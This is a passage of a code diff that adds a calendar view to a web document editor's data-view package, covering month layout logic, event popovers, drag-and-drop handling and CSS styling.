+);

blocksuite/affine/data-view/src/view-presets/calendar/effect.ts

@@ -0,0 +1,5 @@
+import { pcEffects } from './pc/effect.js';
+
+export function calendarEffects() {
+  pcEffects();
+}

blocksuite/affine/data-view/src/view-presets/calendar/index.ts

@@ -0,0 +1,6 @@
+export * from './calendar-view-manager.js';
+export * from './define.js';
+export * from './layout.js';
+export * from './renderer.js';
+export * from './source.js';
+export * from './types.js';

blocksuite/affine/data-view/src/view-presets/calendar/layout.ts

@@ -0,0 +1,250 @@
+import type { CalendarEntry } from './types.js';
+
+export type CalendarDayLayout = {
+  date: number;
+  inMonth: boolean;
+  entries: CalendarEntry[];
+  segments: CalendarRangeSegment[];
+};
+
+export type CalendarRangeSegment = {
+  entry: CalendarEntry;
+  weekIndex: number;
+  startIndex: number;
+  span: number;
+  slot: number;
+  startsBeforeWeek: boolean;
+  endsAfterWeek: boolean;
+};
+
+export type CalendarMonthLayout = {
+  from: number;
+  to: number;
+  weeks: CalendarDayLayout[][];
+  days: CalendarDayLayout[];
+  segments: CalendarRangeSegment[];
+};
+
+export type CalendarMonthLayoutOptions = {
+  month: number | Date;
+  entries: CalendarEntry[];
+  weekStartsOn?: 0 | 1 | 2 | 3 | 4 | 5 | 6;
+};
+
+const startOfDay = (date: Date) =>
+  new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime();
+
+const addDays = (date: number, days: number) => {
+  const current = new Date(date);
+  return startOfDay(
+    new Date(
+      current.getFullYear(),
+      current.getMonth(),
+      current.getDate() + days
+    )
+  );
+};
+
+const endOfDay = (date: number) => addDays(date, 1) - 1;
+
+const toDate = (value: number | Date) =>
+  value instanceof Date ? value : new Date(value);
+
+export const getCalendarVisibleMonthRange = (
+  month: number | Date,
+  weekStartsOn: 0 | 1 | 2 | 3 | 4 | 5 | 6 = 0
+) => {
+  const cursor = toDate(month);
+  const monthStart = new Date(cursor.getFullYear(), cursor.getMonth(), 1);
+  const monthEnd = new Date(cursor.getFullYear(), cursor.getMonth() + 1, 0);
+  const startOffset = (monthStart.getDay() - weekStartsOn + 7) % 7;
+  const endOffset = (weekStartsOn + 6 - monthEnd.getDay() + 7) % 7;
+  const from = startOfDay(
+    new Date(
+      monthStart.getFullYear(),
+      monthStart.getMonth(),
+      monthStart.getDate() - startOffset
+    )
+  );
+  const to = endOfDay(
+    startOfDay(
+      new Date(
+        monthEnd.getFullYear(),
+        monthEnd.getMonth(),
+        monthEnd.getDate() + endOffset
+      )
+    )
+  );
+
+  return {
+    from,
+    to,
+    monthStart: startOfDay(monthStart),
+    monthEnd: endOfDay(startOfDay(monthEnd)),
+  };
+};
+
+const isRangeEntry = (entry: CalendarEntry) =>
+  entry.endAt != null &&
+  getRangeEndDay(entry) > startOfDay(new Date(entry.startAt));
+
+const getRangeEndDay = (entry: CalendarEntry) => {
+  const endAt = entry.endAt ?? entry.startAt;
+  const end = new Date(endAt);
+  if (
+    entry.kind === 'external' &&
+    entry.allDay &&
+    endAt > entry.startAt &&
+    end.getHours() === 0 &&
+    end.getMinutes() === 0 &&
+    end.getSeconds() === 0 &&
+    end.getMilliseconds() === 0
+  ) {
+    return addDays(startOfDay(end), -1);
+  }
+  return startOfDay(end);
+};
+
+const clamp = (value: number, min: number, max: number) =>
+  Math.min(Math.max(value, min), max);
+
+const getDayOffset = (days: CalendarDayLayout[], date: number) =>
+  days.findIndex(day => day.date === date);
+
+const assignSegmentSlots = (
+  weeks: CalendarDayLayout[][],
+  segments: CalendarRangeSegment[]
+) => {
+  for (let weekIndex = 0; weekIndex < weeks.length; weekIndex++) {
+    const weekSegments = segments.filter(
+      segment => segment.weekIndex === weekIndex
+    );
+    const slots: boolean[][] = [];
+    for (const segment of weekSegments) {
+      let slot = 0;
+      while (
+        slots[slot]?.some(
+          (occupied, index) =>
+            occupied &&
+            index >= segment.startIndex &&
+            index < segment.startIndex + segment.span
+        )
+      ) {
+        slot++;
+      }
+      const slotDays = (slots[slot] ??= Array.from({ length: 7 }, () => false));
+      for (
+        let index = segment.startIndex;
+        index < segment.startIndex + segment.span;
+        index++
+      ) {
+        slotDays[index] = true;
+      }
+      segment.slot = slot;
+    }
+  }
+};
+
+export const getCalendarDaySegmentSlots = (
+  day: CalendarDayLayout,
+  ignoredEntryId?: string
+) => {
+  return Math.max(
+    0,
+    ...day.segments
+      .filter(segment => segment.entry.id !== ignoredEntryId)
+      .map(segment => segment.slot + 1)
+  );
+};
+
+export const getCalendarDayContentSlots = (
+  day: CalendarDayLayout,
+  ignoredEntryId?: string
+) => {
+  return (
+    getCalendarDaySegmentSlots(day, ignoredEntryId) +
+    day.entries.filter(entry => entry.id !== ignoredEntryId).length
+  );
+};
+
+export const createCalendarMonthLayout = ({
+  month,
+  entries,
+  weekStartsOn = 0,
+}: CalendarMonthLayoutOptions): CalendarMonthLayout => {
+  const range = getCalendarVisibleMonthRange(month, weekStartsOn);
+  const cursor = toDate(month);
+  const days: CalendarDayLayout[] = [];
+  const dayByTime = new Map<number, CalendarDayLayout>();
+
+  for (let date = range.from; date <= range.to; date = addDays(date, 1)) {
+    const day: CalendarDayLayout = {
+      date,
+      inMonth:
+        new Date(date).getMonth() === cursor.getMonth() &&
+        new Date(date).getFullYear() === cursor.getFullYear(),
+      entries: [],
+      segments: [],
+    };
+    days.push(day);
+    dayByTime.set(date, day);
+  }
+
+  for (const entry of entries) {
+    if (isRangeEntry(entry)) {
+      continue;
+    }
+    const day = dayByTime.get(startOfDay(new Date(entry.startAt)));
+    if (day) {
+      day.entries.push(entry);
+    }
+  }
+
+  const segments: CalendarRangeSegment[] = [];
+  const rangeEntries = entries.filter(isRangeEntry);
+  const visibleEndDay = startOfDay(new Date(range.to));
+  for (const entry of rangeEntries) {
+    const entryStart = startOfDay(new Date(entry.startAt));
+    const entryEnd = getRangeEndDay(entry);
+    if (entryEnd < range.from || entryStart > visibleEndDay) {
+      continue;
+    }
+    const start = clamp(entryStart, range.from, visibleEndDay);
+    const end = clamp(entryEnd, range.from, visibleEndDay);
+    const startOffset = getDayOffset(days, start);
+    const endOffset = getDayOffset(days, end);
+    if (startOffset < 0 || endOffset < 0) {
+      continue;
+    }
+    let offset = startOffset;
+    while (offset <= endOffset) {
+      const weekIndex = Math.floor(offset / 7);
+      const startIndex = offset % 7;
+      const weekEndOffset = weekIndex * 7 + 6;
+      const span = Math.min(endOffset, weekEndOffset) - offset + 1;
+      const segment = {
+        entry,
+        weekIndex,
+        startIndex,
+        span,
+        slot: 0,
+        startsBeforeWeek: startOffset < weekIndex * 7,
+        endsAfterWeek: endOffset > weekEndOffset,
+      };
+      segments.push(segment);
+      for (let index = 0; index < span; index++) {
+        days[offset + index]?.segments.push(segment);
+      }
+      offset += span;
+    }
+  }
+
+  const weeks: CalendarDayLayout[][] = [];
+  for (let index = 0; index < days.length; index += 7) {
+    weeks.push(days.slice(index, index + 7));
+  }
+
+  assignSegmentSlots(weeks, segments);
+
+  return { from: range.from, to: range.to, weeks, days, segments };
+};

blocksuite/affine/data-view/src/view-presets/calendar/pc/actions.ts

@@ -0,0 +1,87 @@
+import {
+  popMenu,
+  popupTargetFromElement,
+} from '@blocksuite/affine-components/context-menu';
+import {
+  CalendarPanelIcon,
+  DateTimeIcon,
+  PinIcon,
+  TextIcon,
+} from '@blocksuite/icons/lit';
+import { html } from 'lit';
+
+import type { DataViewRootUILogic } from '../../../core/data-view.js';
+import type { CalendarSingleView } from '../calendar-view-manager.js';
+import type { CalendarEntry } from '../types.js';
+
+const dateTimeFormatter = new Intl.DateTimeFormat(undefined, {
+  dateStyle: 'medium',
+  timeStyle: 'short',
+});
+
+const dateFormatter = new Intl.DateTimeFormat(undefined, {
+  dateStyle: 'medium',
+});
+
+export const formatEntryTime = (entry: CalendarEntry) => {
+  const formatter = entry.allDay ? dateFormatter : dateTimeFormatter;
+  const start = formatter.format(new Date(entry.startAt));
+  if (!entry.endAt) {
+    return start;
+  }
+  return `${start} - ${formatter.format(new Date(entry.endAt))}`;
+};
+
+export const openCalendarEntry = (
+  root: DataViewRootUILogic,
+  view: CalendarSingleView,
+  entry: CalendarEntry,
+  target: HTMLElement,
+  options?: { selectEntry?: (entryId: string | undefined) => void }
+) => {
+  if (entry.kind === 'row') {
+    options?.selectEntry?.(entry.id);
+    root.openDetailPanel({
+      view,
+      rowId: entry.rowId,
+      onClose: () => options?.selectEntry?.(undefined),
+    });
+    return;
+  }
+
+  popMenu(popupTargetFromElement(target), {
+    options: {
+      items: [
+        () => html`
+          <div class="calendar-event-popover">
+            <div class="calendar-event-popover-title">${entry.title}</div>
+            <div class="calendar-event-popover-row">
+              <span class="calendar-event-popover-icon"
+                >${CalendarPanelIcon()}</span
+              >
+              <span>${entry.calendarName ?? 'Calendar event'}</span>
+            </div>
+            <div class="calendar-event-popover-row">
+              <span class="calendar-event-popover-icon">${DateTimeIcon()}</span>
+              <span>${formatEntryTime(entry)}</span>
+            </div>
+            ${entry.location
+              ? html`<div class="calendar-event-popover-row">
+                  <span class="calendar-event-popover-icon">${PinIcon()}</span>
+                  <span>${entry.location}</span>
+                </div>`
+              : ''}
+            ${entry.description
+              ? html`<div class="calendar-event-popover-row">
+                  <span class="calendar-event-popover-icon">${TextIcon()}</span>
+                  <span class="calendar-event-popover-description"
+                    >${entry.description}</span
+                  >
+                </div>`
+              : ''}
+          </div>
+        `,
+      ],
+    },
+  });
+};

blocksuite/affine/data-view/src/view-presets/calendar/pc/dnd.ts

@@ -0,0 +1,244 @@
+import type { DndController } from '@blocksuite/std';
+
+import type { CalendarEntry, CalendarRowEntry } from '../types.js';
+import { getCalendarDateFromPoint } from './hit-test.js';
+
+export type CalendarDndEntity =
+  | {
+      type: 'calendar-entry';
+      entryId: string;
+    }
+  | {
+      type: 'doc';
+      docId: string;
+    };
+
+type CalendarDndData = {
+  bsEntity?: unknown;
+  entity?: unknown;
+};
+
+const isRecord = (value: unknown): value is Record<string, unknown> =>
+  typeof value === 'object' && value !== null;
+
+export const getCalendarDndEntity = (
+  data: unknown
+): CalendarDndEntity | undefined => {
+  if (!isRecord(data)) {
+    return;
+  }
+
+  const bsEntity = (data as CalendarDndData).bsEntity;
+  if (isRecord(bsEntity)) {
+    if (
+      bsEntity.type === 'calendar-entry' &&
+      typeof bsEntity.entryId === 'string'
+    ) {
+      return {
+        type: 'calendar-entry',
+        entryId: bsEntity.entryId,
+      };
+    }
+    if (bsEntity.type === 'doc' && typeof bsEntity.docId === 'string') {
+      return {
+        type: 'doc',
+        docId: bsEntity.docId,
+      };
+    }
+  }
+
+  const entity = (data as CalendarDndData).entity;
+  if (
+    isRecord(entity) &&
+    entity.type === 'doc' &&
+    typeof entity.id === 'string'
+  ) {
+    return {
+      type: 'doc',
+      docId: entity.id,
+    };
+  }
+
+  return;
+};
+
+export type CalendarDndCallbacks = {
+  getEntry: (entryId: string) => CalendarEntry | undefined;
+  canDragEntry: () => boolean;
+  canDrop: (entity: CalendarDndEntity) => boolean;
+  onEntryDragStart: (entry: CalendarRowEntry) => void;
+  onEntryDragEnd: () => void;
+  onDropTargetChange: (
+    date: number | undefined,
+    entity?: CalendarDndEntity
+  ) => void;
+  onDrop: (entity: CalendarDndEntity, date: number) => void;
+};
+
+type ElementCleanup = {
+  element: HTMLElement;
+  cleanup: () => void;
+};
+
+export class CalendarDnd {
+  private readonly entryCleanups = new Map<string, ElementCleanup>();
+
+  private rootCleanup?: ElementCleanup;
+
+  constructor(
+    private readonly dnd: DndController | undefined,
+    private readonly callbacks: CalendarDndCallbacks
+  ) {}
+
+  bindRoot(element?: Element) {
+    if (!this.dnd || !(element instanceof HTMLElement)) {
+      this.cleanupRoot();
+      return;
+    }
+
+    if (this.rootCleanup?.element === element) {
+      return;
+    }
+    this.cleanupRoot();
+
+    const cleanup = this.dnd.dropTarget<CalendarDndEntity, { date?: number }>({
+      element,
+      getIsSticky: () => true,
+      setDropData: ({ input }) => ({
+        date: getCalendarDateFromPoint(element, input.clientX, input.clientY),
+      }),
+      canDrop: ({ source, input }) => {
+        const entity = getCalendarDndEntity(source.data);
+        const date = getCalendarDateFromPoint(
+          element,
+          input.clientX,
+          input.clientY
+        );
+        return entity && date !== undefined
+          ? this.callbacks.canDrop(entity)
+          : false;
+      },
+      onDrag: ({ source, location }) => {
+        this.updateDropTarget(element, source.data, location.current.input);
+      },
+      onDragEnter: ({ source, location }) => {
+        this.updateDropTarget(element, source.data, location.current.input);
+      },
+      onDragLeave: () => {
+        this.callbacks.onDropTargetChange(undefined);
+      },
+      onDrop: ({ source, location }) => {
+        const entity = getCalendarDndEntity(source.data);
+        const date = getCalendarDateFromPoint(
+          element,
+          location.current.input.clientX,
+          location.current.input.clientY
+        );
+        if (entity && date !== undefined && this.callbacks.canDrop(entity)) {
+          this.callbacks.onDrop(entity, date);
+        }
+        this.callbacks.onDropTargetChange(undefined);
+      },
+    });
+
+    this.rootCleanup = { element, cleanup };
+  }
+
+  bindEntry(
+    key: string,
+    entry: CalendarEntry,
+    element?: Element,
+    disabled = false
+  ) {
+    if (
+      !this.dnd ||
+      !(element instanceof HTMLElement) ||
+      entry.kind !== 'row' ||
+      disabled
+    ) {
+      this.cleanupEntry(key);
+      if (element instanceof HTMLElement) {
+        element.setAttribute('draggable', 'false');
+      }
+      return;
+    }
+
+    const current = this.entryCleanups.get(key);
+    if (current?.element === element) {
+      return;
+    }
+    this.cleanupEntry(key);
+
+    const cleanup = this.dnd.draggable<CalendarDndEntity>({
+      element,
+      canDrag: () => {
+        const currentEntry = this.callbacks.getEntry(entry.id);
+        return currentEntry?.kind === 'row'
+          ? this.callbacks.canDragEntry()
+          : false;
+      },
+      setDragData: () => ({
+        type: 'calendar-entry',
+        entryId: entry.id,
+      }),
+      setDragPreview: ({ container, setOffset }) => {
+        const currentEntry = this.callbacks.getEntry(entry.id);
+        const preview = document.createElement('div');
+        preview.textContent = currentEntry?.title || 'Untitled';
+        preview.style.cssText =
+          'padding:0 6px;height:22px;line-height:22px;border-radius:4px;' +
+          'font-size:12px;white-space:nowrap;overflow:hidden;' +
+          'background:var(--affine-hover-color,#f5f5f5);' +
+          'color:var(--affine-text-primary-color,#333);' +
+          'max-width:140px;text-overflow:ellipsis;pointer-events:none;';
+        container.append(preview);
+        setOffset({ x: 10, y: 11 });
+      },
+      onDragStart: () => {
+        const currentEntry = this.callbacks.getEntry(entry.id);
+        if (currentEntry?.kind === 'row') {
+          this.callbacks.onEntryDragStart(currentEntry);
+        }
+      },
+      onDrop: () => {
+        this.callbacks.onEntryDragEnd();
+      },
+    });
+
+    this.entryCleanups.set(key, { element, cleanup });
+  }
+
+  cleanup() {
+    this.cleanupRoot();
+    for (const key of this.entryCleanups.keys()) {
+      this.cleanupEntry(key);
+    }
+  }
+
+  private cleanupEntry(key: string) {
+    this.entryCleanups.get(key)?.cleanup();
+    this.entryCleanups.delete(key);
+  }
+
+  private cleanupRoot() {
+    this.rootCleanup?.cleanup();
+    this.rootCleanup = undefined;
+  }
+
+  private updateDropTarget(
+    root: HTMLElement,
+    data: unknown,
+    input: {
+      clientX: number;
+      clientY: number;
+    }
+  ) {
+    const entity = getCalendarDndEntity(data);
+    const date = getCalendarDateFromPoint(root, input.clientX, input.clientY);
+    if (entity && date !== undefined && this.callbacks.canDrop(entity)) {
+      this.callbacks.onDropTargetChange(date, entity);
+    } else {
+      this.callbacks.onDropTargetChange(undefined);
+    }
+  }
+}

blocksuite/affine/data-view/src/view-presets/calendar/pc/effect.ts

@@ -0,0 +1,8 @@
+import { CalendarViewUI } from './view.js';
+
+export function pcEffects() {
+  if (customElements.get('affine-data-view-calendar')) {
+    return;
+  }
+  customElements.define('affine-data-view-calendar', CalendarViewUI);
+}

blocksuite/affine/data-view/src/view-presets/calendar/pc/hit-test.ts

@@ -0,0 +1,38 @@
+export const getCalendarDateFromPoint = (
+  root: HTMLElement,
+  clientX: number,
+  clientY: number
+) => {
+  const doc = root.ownerDocument;
+  const hitStack = doc.elementsFromPoint(clientX, clientY);
+
+  for (const element of hitStack) {
+    const day = element.closest<HTMLElement>('.calendar-day[data-date]');
+    if (day && root.contains(day)) {
+      return Number(day.dataset['date']);
+    }
+  }
+
+  for (const element of hitStack) {
+    const week =
+      element.closest<HTMLElement>('.calendar-week') ??
+      element.closest<HTMLElement>('.calendar-segments')?.parentElement;
+    if (week && root.contains(week)) {
+      const days = week.querySelectorAll<HTMLElement>('.calendar-day');
+      for (const day of days) {
+        const rect = day.getBoundingClientRect();
+        if (
+          clientX >= rect.left &&
+          clientX < rect.right &&
+          clientY >= rect.top &&
+          clientY < rect.bottom &&
+          day.dataset['date']
+        ) {
+          return Number(day.dataset['date']);
+        }
+      }
+    }
+  }
+
+  return;
+};

blocksuite/affine/data-view/src/view-presets/calendar/pc/styles.ts

@@ -0,0 +1,708 @@
+import { css } from 'lit';
+
+export const calendarViewStyles = css`
+  affine-data-view-calendar {
+    display: block;
+    width: 100%;
+    max-width: 100%;
+    box-sizing: border-box;
+    --calendar-entry-height: 22px;
+    --calendar-entry-gap: 3px;
+    --calendar-entry-slot-height: calc(
+      var(--calendar-entry-height) + var(--calendar-entry-gap)
+    );
+    --calendar-grid-border-color: color-mix(
+      in srgb,
+      var(--affine-border-color) 58%,
+      transparent
+    );
+    --calendar-entry-bg: color-mix(
+      in srgb,
+      var(--affine-primary-color) 12%,
+      var(--affine-background-primary-color)
+    );
+    --calendar-entry-hover-bg: color-mix(
+      in srgb,
+      var(--affine-primary-color) 18%,
+      var(--affine-background-primary-color)
+    );
+    --calendar-entry-text-color: color-mix(
+      in srgb,
+      var(--affine-primary-color) 72%,
+      var(--affine-text-primary-color)
+    );
+    --calendar-external-fallback-color: #b45309;
+  }
+
+  .calendar-scroll {
+    width: 100%;
+    overflow-x: auto;
+    overflow-y: hidden;
+  }
+
+  .calendar-shell {
+    position: relative;
+    min-width: 720px;
+    padding: 0 0 12px;
+  }
+
+  .calendar-toolbar {
+    display: flex;
+    align-items: center;
+    justify-content: space-between;
+    height: 36px;
+    margin-bottom: 8px;
+  }
+
+  .calendar-title {
+    color: var(--affine-text-primary-color);
+    font-size: 15px;
+    font-weight: 600;
+  }
+
+  .calendar-nav {
+    display: flex;
+    gap: 6px;
+  }
+
+  .calendar-nav button,
+  .calendar-setup button {
+    display: inline-flex;
+    align-items: center;
+    justify-content: center;
+    gap: 6px;
+    border: 1px solid var(--affine-border-color);
+    border-radius: 6px;
+    background: var(--affine-background-primary-color);
+    color: var(--affine-text-primary-color);
+    height: 28px;
+    padding: 5px 10px;
+    cursor: pointer;
+    font-size: 12px;
+    font-weight: 500;
+    line-height: 20px;
+    white-space: nowrap;
+  }
+
+  .calendar-nav button svg,
+  .calendar-setup button svg,
+  .calendar-new-row svg,
+  .calendar-empty-month-hint-action svg,
+  .calendar-empty-month-hint-close svg {
+    width: 16px;
+    height: 16px;
+    color: var(--affine-icon-secondary);
+    flex: 0 0 auto;
+  }
+
+  .calendar-nav .calendar-icon-button {
+    width: 28px;
+    padding: 5px;
+  }
+
+  .calendar-nav .calendar-today-button {
+    color: var(--affine-primary-color);
+  }
+
+  .calendar-weekdays,
+  .calendar-week {
+    display: grid;
+    grid-template-columns: repeat(7, minmax(0, 1fr));
+  }
+
+  .calendar-week {
+    position: relative;
+  }
+
+  .calendar-segments {
+    position: absolute;
+    left: 0;
+    right: 0;
+    top: 30px;
+    display: grid;
+    grid-template-columns: repeat(7, minmax(0, 1fr));
+    grid-auto-rows: var(--calendar-entry-slot-height);
+    row-gap: 0;
+    column-gap: 0;
+    padding: 0;
+    pointer-events: none;
+  }
+
+  .calendar-segments .calendar-entry {
+    align-self: start;
+    height: var(--calendar-entry-height);
+    box-sizing: border-box;
+    pointer-events: auto;
+    margin: 0 6px;
+  }
+
+  .calendar-segments .calendar-entry-preview {
+    align-self: start;
+    pointer-events: none;
+    margin: 0 6px;
+  }
+
+  .calendar-weekday {
+    color: var(--affine-text-secondary-color);
+    font-size: 12px;
+    padding: 4px 6px;
+    user-select: none;
+    -webkit-user-select: none;
+  }
+
+  .calendar-grid {
+    border-top: 1px solid var(--calendar-grid-border-color);
+    border-left: 1px solid var(--calendar-grid-border-color);
+  }
+
+  .calendar-day {
+    position: relative;
+    min-height: 112px;
+    border-right: 1px solid var(--calendar-grid-border-color);
+    border-bottom: 1px solid var(--calendar-grid-border-color);
+    padding: 6px;
+  }
+
+  .calendar-day.is-outside {
+    background: color-mix(
+      in srgb,
+      var(--affine-background-secondary-color) 55%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-day:not(.is-outside):hover {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 2%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-day.is-drop-target {
+    box-shadow: inset 0 0 0 1px var(--affine-primary-color);
+    background: color-mix(in srgb, var(--affine-primary-color) 8%, transparent);
+  }
+
+  .calendar-day.is-today {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 6%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-day-number {
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    width: max-content;
+    min-width: 20px;
+    height: 20px;
+    padding: 0 2px;
+    border-radius: 4px;
+    color: var(--affine-text-secondary-color);
+    font-size: 12px;
+    line-height: 18px;
+    margin-bottom: 4px;
+    user-select: none;
+    -webkit-user-select: none;
+  }
+
+  .calendar-day:not(.is-outside) .calendar-day-number {
+    color: var(--affine-text-primary-color);
+  }
+
+  .calendar-day.is-outside .calendar-day-number {
+    color: color-mix(
+      in srgb,
+      var(--affine-text-secondary-color) 60%,
+      transparent
+    );
+  }
+
+  .calendar-day.is-today .calendar-day-number {
+    color: var(--affine-primary-color);
+    font-weight: 600;
+  }
+
+  .calendar-day.is-today:hover {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 9%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-entry {
+    position: relative;
+    display: flex;
+    align-items: center;
+    gap: 4px;
+    min-height: var(--calendar-entry-height);
+    margin-top: var(--calendar-entry-gap);
+    padding: 0 6px;
+    border-radius: 4px;
+    color: var(--calendar-entry-text-color);
+    background: var(--calendar-entry-bg);
+    font-size: 12px;
+    line-height: 18px;
+    white-space: nowrap;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    cursor: pointer;
+  }
+
+  .calendar-nav button:hover,
+  .calendar-setup button:hover {
+    background: var(--affine-hover-color);
+  }
+
+  .calendar-entry.row:hover {
+    background: var(--calendar-entry-hover-bg);
+  }
+
+  .calendar-entry:focus-visible {
+    outline: 1px solid var(--affine-primary-color);
+    outline-offset: 1px;
+  }
+
+  .calendar-entry.external:hover {
+    opacity: 0.9;
+  }
+
+  .calendar-entry.selected {
+    box-shadow: inset 0 0 0 1px var(--affine-primary-color);
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 15%,
+      var(--calendar-entry-bg)
+    );
+  }
+
+  .calendar-entry.continues-left {
+    border-top-left-radius: 0;
+    border-bottom-left-radius: 0;
+  }
+
+  .calendar-entry.continues-right {
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+  }
+
+  .calendar-entry-title {
+    min-width: 0;
+    overflow: hidden;
+    text-overflow: ellipsis;
+  }
+
+  .calendar-entry-title.is-empty {
+    color: var(--affine-text-secondary-color);
+  }
+
+  .calendar-entry-title.title-segments {
+    display: inline-flex;
+    align-items: center;
+    gap: 2px;
+  }
+
+  .calendar-entry-title-segment {
+    display: inline-flex;
+    align-items: center;
+    min-width: 0;
+  }
+
+  .calendar-entry-title-segment.linked-doc-segment {
+    gap: 3px;
+    min-width: 14px;
+  }
+
+  .calendar-entry-title-segment.linked-doc-segment svg {
+    width: 14px;
+    height: 14px;
+    flex: 0 0 auto;
+  }
+
+  .calendar-entry-title-text {
+    min-width: 0;
+    overflow: hidden;
+    text-overflow: ellipsis;
+  }
+
+  .calendar-entry-title-segment.linked-doc-segment .calendar-entry-title-text {
+    flex-shrink: 1;
+  }
+
+  .calendar-entry-properties {
+    display: inline-flex;
+    gap: 3px;
+    min-width: 0;
+  }
+
+  .calendar-entry-property {
+    max-width: 72px;
+    padding: 1px 6px;
+    border-radius: 4px;
+    background: color-mix(in srgb, var(--affine-pure-white) 80%, transparent);
+    color: var(--affine-text-primary-color);
+    font-size: 10px;
+    font-weight: 500;
+    line-height: 14px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+  }
+
+  .calendar-entry.external {
+    color: var(--affine-pure-white);
+    background: var(
+      --calendar-external-color,
+      var(--calendar-external-fallback-color)
+    );
+  }
+
+  .calendar-entry[draggable='true'] {
+    cursor: grab;
+  }
+
+  .calendar-entry[draggable='true']:active {
+    opacity: 0.7;
+  }
+
+  .calendar-resize-handle {
+    display: none;
+    position: absolute;
+    top: 0;
+    bottom: 0;
+    width: 6px;
+    cursor: ew-resize;
+    z-index: 1;
+  }
+
+  .calendar-resize-handle.left {
+    left: 0;
+    border-radius: 4px 0 0 4px;
+  }
+
+  .calendar-resize-handle.right {
+    right: 0;
+    border-radius: 0 4px 4px 0;
+  }
+
+  .calendar-resize-handle::after {
+    content: '';
+    position: absolute;
+    top: 50%;
+    left: 50%;
+    width: 2px;
+    height: 10px;
+    transform: translate(-50%, -50%);
+    border-radius: 1px;
+    background: var(--affine-icon-secondary);
+  }
+
+  .calendar-resize-handle:hover::after {
+    background: var(--affine-primary-color);
+  }
+
+  .calendar-entry:hover .calendar-resize-handle {
+    display: block;
+  }
+
+  .calendar-entry-preview {
+    display: flex;
+    align-items: center;
+    gap: 4px;
+    min-height: var(--calendar-entry-height);
+    height: var(--calendar-entry-height);
+    margin-top: var(--calendar-entry-gap);
+    padding: 0 6px;
+    box-sizing: border-box;
+    border-radius: 4px;
+    border: 1.5px dashed var(--affine-primary-color);
+    background: color-mix(in srgb, var(--affine-primary-color) 6%, transparent);
+    color: var(--affine-primary-color);
+    font-size: 12px;
+    line-height: 18px;
+    white-space: nowrap;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    pointer-events: none;
+  }
+
+  .calendar-entry-preview svg {
+    width: 14px;
+    height: 14px;
+    flex: 0 0 auto;
+  }
+
+  .calendar-entry-preview.continues-left {
+    border-top-left-radius: 0;
+    border-bottom-left-radius: 0;
+    border-left: none;
+    padding-left: 6px;
+  }
+
+  .calendar-entry-preview.continues-right {
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+    border-right: none;
+    padding-right: 6px;
+  }
+
+  .calendar-day-entries > .calendar-entry:first-child,
+  .calendar-day-entries > .calendar-entry-preview:first-child {
+    margin-top: 0;
+  }
+
+  .calendar-day-entries {
+    padding-top: calc(
+      var(--calendar-segment-slots, 0) * var(--calendar-entry-slot-height)
+    );
+  }
+
+  .calendar-new-row {
+    display: inline-flex;
+    align-items: center;
+    justify-content: center;
+    gap: 4px;
+    width: 100%;
+    height: 24px;
+    margin-top: 3px;
+    border: 0;
+    border-radius: 5px;
+    background: transparent;
+    color: var(--affine-primary-color);
+    font-size: 12px;
+    font-weight: 500;
+    line-height: 18px;
+    padding: 3px 8px;
+    opacity: 0;
+    cursor: pointer;
+    box-sizing: border-box;
+    transition:
+      opacity 0.1s ease,
+      background 0.1s ease;
+  }
+
+  .calendar-new-row svg,
+  .calendar-empty-month-hint-action svg {
+    width: 14px;
+    height: 14px;
+    color: var(--affine-primary-color);
+  }
+
+  .calendar-day:hover .calendar-new-row,
+  .calendar-new-row:focus-visible {
+    opacity: 1;
+  }
+
+  .calendar-day:hover .calendar-new-row {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 10%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-day:hover .calendar-new-row:disabled,
+  .calendar-day.is-today:hover .calendar-new-row:disabled,
+  .calendar-new-row:disabled {
+    background: transparent;
+    opacity: 0;
+    pointer-events: none;
+  }
+
+  .calendar-day.is-today:hover .calendar-new-row,
+  .calendar-day.is-today .calendar-new-row:focus-visible {
+    background: var(--affine-primary-color);
+    color: var(--affine-pure-white);
+  }
+
+  .calendar-day.is-today .calendar-new-row:hover {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 88%,
+      var(--affine-pure-white)
+    );
+  }
+
+  .calendar-day.is-today:hover .calendar-new-row svg,
+  .calendar-day.is-today .calendar-new-row:focus-visible svg {
+    color: var(--affine-pure-white);
+  }
+
+  .calendar-new-row:hover {
+    background: color-mix(
+      in srgb,
+      var(--affine-primary-color) 16%,
+      var(--affine-background-primary-color)
+    );
+  }
+
+  .calendar-empty-month-hint {
+    position: absolute;
+    top: 44px;
+    left: 8px;
+    right: 8px;
+    z-index: 3;
+    display: flex;
+    align-items: center;
+    justify-content: space-between;
+    gap: 12px;
+    min-height: 36px;
+    padding: 6px 8px 6px 12px;
+    border: 1px solid
+      color-mix(in srgb, var(--affine-primary-color) 18%, transparent);
+    border-radius: 6px;
+    background: color-mix(
+      in srgb,
+      var(--affine-background-primary-color) 92%,
+      var(--affine-primary-color)
+    );
+    box-shadow: var(--affine-menu-shadow);
+    box-sizing: border-box;
+  }
+
+  .calendar-empty-month-hint-copy {
+    display: inline-flex;
+    align-items: baseline;
+    gap: 8px;
+    min-width: 0;
+  }
+
+  .calendar-empty-month-hint-title {
+    flex: 0 0 auto;
+    color: var(--affine-text-primary-color);
+    font-size: 12px;
+    font-weight: 600;
+    line-height: 18px;
+  }
+
+  .calendar-empty-month-hint-body {
+    min-width: 0;
+    color: var(--affine-text-secondary-color);
+    font-size: 12px;
+    line-height: 18px;
+    overflow: hidden;
+    text-overflow: ellipsis;
+    white-space: nowrap;
+  }
+
+  .calendar-empty-month-hint-actions {
+    display: inline-flex;
+    align-items: center;
+    gap: 4px;
+    flex: 0 0 auto;
+  }
+
